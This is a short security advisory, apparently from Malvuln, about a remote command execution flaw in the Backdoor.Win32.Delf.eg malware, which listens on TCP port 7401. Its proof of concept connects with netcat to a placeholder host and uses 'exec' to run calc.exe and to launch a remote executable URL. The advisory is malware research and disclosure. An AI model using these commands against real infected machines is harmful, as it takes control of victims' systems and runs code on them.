Backdoor.Win32.Delf.eg / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/de6220a8e8fcbbee9763fb10e0ca23d7.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.eg
Vulnerability: Unauthenticated Remote Command Execution
Description:  The malware listens on TCP port 7401.  Third-party adversarys
who can reach infected systems can issue commands made available by the
backdoor. Call "exec" plus the program name, to launch the victims browser
you add URL after exec and so forth.
Family: Delf
Type: PE32
MD5: de6220a8e8fcbbee9763fb10e0ca23d7
Vuln ID: MVID-2022-0647
Disclosure: 10/02/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 7401
Warning
exec calc.exe
42
exec https://www.malvuln.com/DOOM.exe
42
QUIT
221 Merci d'avoir utilisΘ Under7 version 4.3, crΘe par Liquid Snake


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